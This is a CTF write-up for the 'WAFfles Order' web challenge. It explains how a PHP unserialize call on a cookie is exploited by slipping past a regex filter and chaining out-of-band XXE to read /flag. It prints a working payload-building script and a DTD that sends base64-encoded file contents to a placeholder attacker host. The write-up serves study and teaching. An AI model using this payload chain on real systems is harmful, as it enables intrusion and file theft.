HTBUniCTF21: WAFfles Order

back · home · ctf · posted 2020-11-10 · php deserialization and xxe to lfi · category: web
Table of Contents

Our WAFfles and ice scream are out of this world, come to our online WAFfles house and check out our super secure ordering system API!

Enumeration

Browsing to the website, we are greeted with this aesthetically... interesting... page. We can input a table number, and send it off:

For which the post request looks like:

Nothing really interesting here.

Source Code Review

However! We are given the source code for the application, which means we're in for some fun. Fortunately, the code is very concise and easy to read. Poking around, we read controllers/OrderController.php, which handles our order requests.

 1<?php
 2class OrderController
 3{
 4    public function order($router)
 5    {
 6        $body = file_get_contents('php://input');
 7        $cookie = base64_decode($_COOKIE['PHPSESSID']);
 8        safe_object($cookie);
 9        $user = unserialize($cookie);
10
11        if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
12        {
13            $order = json_decode($body);
14            if (!$order->food) 
15                return json_encode([
16                    'status' => 'danger',
17                    'message' => 'You need to select a food option first'
18                ]);
19            if ($_ENV['debug'])
20            {
21                $date = date('d-m-Y G:i:s');
22                file_put_contents('/tmp/orders.log', "[${date}] ${body} by {$user->username}\n", FILE_APPEND);
23            }
24            return json_encode([
25                'status' => 'success',
26                'message' => "Hello {$user->username}, your {$order->food} order has been submitted successfully."
27            ]);
28        }
29        else
30        {
31            return $router->abort(400);
32        }
33    }
34}
35?>

This is pretty juicy! Namely, on line 24 we see that our !!! user controlled !!! cookie is unserialized. That means, depending on what classes are included in the application, we might be able to get local file inclusion (LFI) or even remote code execution (RCE).


A brief aside on PHP unserialization, from a PHP noob:

Sometimes, PHP writers want to store PHP objects or data in a string format for easy storage or retrieval. It's a standard format. For example, for our UserModel object, the serialized data might look like O:9:"UserModel":1:{s:8:"username";s:10:"guest_5fb8";} where O means object, the numbers are length specifiers, and s means string for both key and value, separated by semicolons.

So, if we can control the string that is unserialized, we can "create" any object we want! But we can't execute any actual PHP code, so how is that useful? Except in very rare cases, we're going to have to rely on PHP "magic functions", some of which get run automatically on object creation/serialization (__construct/__sleep) or destruction/unserialization (__destruct/__wakeup) or other situations like being printed (__toString). So, our goal is to create an object that has some magic functions we can use.

Note that all of these functions start with __. This becomes important later.

The only two models/classes included in the application are UserModel, used for handling of user data in receiving orders, and XMLParserModel, which is used for some throwaway environment file parsing, and looks like:

 1<?php
 2class XmlParserModel
 3{
 4    private string $data;
 5    private array $env;
 6
 7    public function __construct($data)
 8    {
 9        $this->data = $data;
10    }
11
12    public function __wakeup()
13    {
14        if (preg_match_all("/<!ENTITY\s+[^\s]+\s+SYSTEM\s+[\'\"](?i:file|http|https|ftp|php|zlib|data|glob|expect|zip):\/\//mi", $this->data))
15        {
16            die('Unsafe XML');
17        }
18        $env = simplexml_load_string($this->data, 'SimpleXMLElement', LIBXML_NOENT);
19        foreach ($env as $key => $value)
20        {
21            $_ENV[$key] = (string)$value;
22        }
23    }
24
25}
26?>

We see that this class has both __construct and __wakeup, and is pretty much exactly what we need. Also note that simplexml_load_string is called with the LIBXML_NOENT flag, for which the docs say:

And, we see the very suspicious preg_match_all call with strings commonly found in XML External Entities (XXE) payloads.

So now, we should be thinking: how can we get an XmlParserObject with our arbitrary data unserialized? The astute among us may have seen the call to safe_object function right before the cookie is deserialized, which is fortunately not a standard PHP function. Here's what it does:

<?php
function safe_object($serialized_data)
{
    $matches = [];
    $num_matches = preg_match_all('/(^|;)O:\d+:"([^"]+)"/', $serialized_data, $matches);

    for ($i = 0; $i < $num_matches; $i++) {
        $methods = get_class_methods($matches[2][$i]);
        foreach ($methods as $method) {
            if (preg_match('/^__.*$/', $method) != 0) {
                die("Unsafe method: ${method}");
            }
        }
    }
}

Or, essentially, if any matches to the regex (^|;)O:\d+:"([^"]+)" are found, check the methods for the class within the quotes, and if it has any methods starting with __, refuse to continue.

The regex broken down goes like this: start of line or ;, then O:numbers:"sometext".

So it would match O:14:"XmlParserModel":... and a:1:{i:0;O:14:"XmlParserModel":..., both correctly grabbing the name of the object. So we need to somehow bypass the regex, or cause it to grab the wrong name for the object.

Regex Bypass

This took me forever to figure out. The key insight I was missing is that with pgrep_match_all, if some text is part of one match, it won't search that text for the start of another match. For example, for this input:

APPLEAPPLESAUCE ORANGESAUCE

with the regex searching for APPLE followed by any A-Z characters then some whitespace \s, it will only match APPLEAPPLESAUCE and NOT APPLESAUCE (as a substring of APPLEAPPLESAUCE).

Therefore, we could put the object initialization into a serialized array, for which the key is the start of an (invalid) object serialization string. So, something like:

<?php

require("./models/XmlParserModel.php");
require("./models/UserModel.php");

$payload = 'XXE-causing XML here';

$foo = new XmlParserModel($payload);

$lol = new UserModel();
$lol->username = 'admin';
$lol->test = array(
    ";O:12:" => $foo,
);

echo serialize($lol);

?>

Which produces:

O:9:"UserModel":2:{s:8:"username";s:5:"admin";s:4:"test";a:1:{s:6:";O:12:";O:14:"XmlParserModel":1:{s:20:"^@XmlParserModel^@data";s:20:"XXE-causing XML here";}}}

Due to the key name being O:12:, the regex will include the start of the actual object deserialization as O:12:";O:14:". Obviously, ;O:14: is not a valid class name, so we finally bypass the method check, and move on to trying to trigger XXE for file exfiltration.

XXE

However, no joy, there's another regex filter! This is the same one we saw earlier that suggested XXE.

14```php
15preg_match_all("/<!ENTITY\s+[^\s]+\s+SYSTEM\s+[\'\"](?i:file|http|https|ftp|php|zlib|data|glob|expect|zip):\/\//mi")
16
17```

So, case insensitive looking for any <!ENTITY SYSTEM ... calls. This regex is a lot less effective than the other one and I got past it a couple times without even meaning to.

If you haven't seen XXE used before, our goal is to take a reference to an external object (like, a file) with an XML ENTITY followed by SYSTEM or PUBLIC "name", and include its content in an HTTP request in order to exfiltrate it.

Let's test it on local to make sure that XXE works with a basic payload:

Cool, it grabs files locally. Now we have to get it to reach out with the content of those files, and /flag instead of /etc/passwd.

In the end, I went for Out of Band (OOB) XXE, hosting the following DTD on my server:

<!ENTITY % cool SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % all '<!ENTITY send SYSTEM "http://MY.HOST:4200/%cool;">'>
%all;

We knew the flag was at /flag with the source we downloaded. It's base64 encoded because the newline \n at the end of the file would cause SimpleXML to throw and error and say that the Uniform Resource Indicator (URI) was invalid when we tried to include the file contents as part of it.

So, our final object solve "script" looks like:

<?php

require("./models/XmlParserModel.php");
require("./models/UserModel.php");

$payload = '<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///flag">
<!ENTITY % dtd SYSTEM
"http://MY.HOST/ctf.dtd">
%dtd;
]>
<data>&send;</data>';

$foo = new XmlParserModel($payload);

$lol = new UserModel();
$lol->username = 'admin';
$lol->test = array(
    ";O:12:" => $foo,
);

echo serialize($lol);

?>

We submit our malicious cookie, and get a callback from remote!

And the flag, for the first blood and a massive dopamine hit:

Thank you to makelaris and makelarisjr for a fun challenge :)

Flag: HTB{wh0_l3t_th3_enc0d1ngs_0ut??w00f..w00f..w00f..WAFfles!}

(BTW we won best writeup for this event... not saying it was because of this one, but who knows 😏)

If you have any questions or feedback, please email my public inbox at ~sourque/public-inbox@lists.sr.ht.